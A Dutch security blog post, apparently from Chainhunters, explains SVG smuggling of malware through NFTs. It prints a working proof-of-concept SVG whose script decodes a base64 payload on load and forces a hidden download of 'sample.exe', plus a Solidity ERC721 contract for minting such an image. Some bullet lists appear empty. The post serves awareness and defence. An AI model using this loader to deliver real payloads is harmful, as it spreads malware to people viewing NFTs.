Chainhunters
Bij Non-Fungible Tokens (NFT's), zoals digitale kunst, verzamelobjecten en andere digitale eigendommen, ontstaan naast innovatieve toepassingen ook nieuwe risico's. Een van de meest verontrustende ontwikkelingen is het verbergen van malware in SVG-bestanden (Scalable Vector Graphics), waardoor kwaadwillenden schadelijke code ongemerkt kunnen verstoppen in schijnbaar onschuldige afbeeldingen.
SVG-smuggling is een techniek waarbij schadelijke code (malware) in SVG-bestanden wordt opgenomen, bestandstypen die doorgaans als veilig worden beschouwd. SVG-bestanden zijn aantrekkelijk voor cybercriminelen, omdat ze zowel visuele als code-elementen ondersteunen. Door bijvoorbeeld JavaScript in de SVG te verwerken, kunnen aanvallers schadelijke scripts verbergen die worden geactiveerd zodra de SVG in een webbrowser wordt geopend of weergegeven. Hieronder volgt een voorbeeld van een geïnfecteerde SVG:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="500" height="500"> <text x="10" y="50" font-family="Arial" font-size="20" fill="black">Open deze afbeelding in een nieuw tabblad</text> <script type="application/ecmascript"><![CDATA[ document.addEventListener("DOMContentLoaded", function() { function base64ToArrayBuffer(base64) { var binary_string = window.atob(base64); var len = binary_string.length; var bytes = new Uint8Array(len); for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } return bytes.buffer; } var file = 'U2FtcGxlIGZpbGUgYnkgaWFu'; // Dit is de payload base64 encoded var data = base64ToArrayBuffer(file); var blob = new Blob([data], {type: 'octet/stream'}); var a = document.createElementNS('http://www.w3.org/1999/xhtml', 'a'); document.documentElement.appendChild(a); a.setAttribute('style', 'display: none'); var url = window.URL.createObjectURL(blob); a.href = url; a.download = 'sample.exe'; // Dit is de bestandsnaam die het script gaat downloaden a.click(); window.URL.revokeObjectURL(url); }); ]]></script> </svg>
NFT's, vaak gehost op blockchain-platformen zoals Ethereum, brengen unieke voordelen voor cybercriminelen met zich mee:
Deze eigenschappen maken NFT's op blockchain-platforms aantrekkelijk voor kwaadwillenden die proberen malware ongemerkt te verspreiden.
Het gebruik van een SVG-bestand met een kwaadaardige payload als NFT brengt serieuze veiligheidsrisico’s met zich mee, vooral wanneer dit bestand wordt geüpload naar een NFT-marktplaats. Wanneer een gebruiker de NFT bekijkt of opent, kan de ingebedde malware ongemerkt worden gedownload en uitgevoerd op hun systeem.
Hieronder staat een voorbeeld van een Solidity smart contract voor het deployen van de NFT.
pragma solidity ^0.8.26; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Base64} from "@openzeppelin/contracts/utils/Base64.sol"; contract PoCSVG is ERC721 { struct Poc { string name; string description; } uint256 private s_tokenCounter; string private s_pocSvgImageUri; mapping(uint256 => Poc) public s_tokenIdToPoc; constructor(string memory pocSvgImageUri) ERC721("PoCSVG", "SVG") { s_tokenCounter = 0; s_pocSvgImageUri = pocSvgImageUri; } function mint() public { _safeMint(msg.sender, s_tokenCounter); s_tokenCounter++; } function _baseURI() internal pure override returns (string memory) { return "data:application/json;base64,"; } function tokenURI(uint256 tokenID) public view override returns (string memory) { string memory imageURI = s_pocSvgImageUri; return string( abi.encodePacked( _baseURI(), Base64.encode( bytes( abi.encodePacked( '{"name":"', name(), '", "description":"NFT with a PoC SVG that downloads files when clicked", ', '"image":"', imageURI, '"}' ) ) ) ) ); } }
De integratie van malware in NFT's kan verstrekkende gevolgen hebben:
Om deze dreiging effectief tegen te gaan, is waakzaamheid essentieel:
Het verbergen van malware in SVG-bestanden vormt een nieuwe en groeiende bedreiging in de NFT-sector. Met de stijgende populariteit van NFT's is het van cruciaal belang dat zowel ontwikkelaars als gebruikers proactief handelen om de veiligheid en integriteit van blockchain-platforms te beschermen.
Ter demonstratie van deze dreiging hebben wij twee GitHub-repositories beschikbaar gesteld: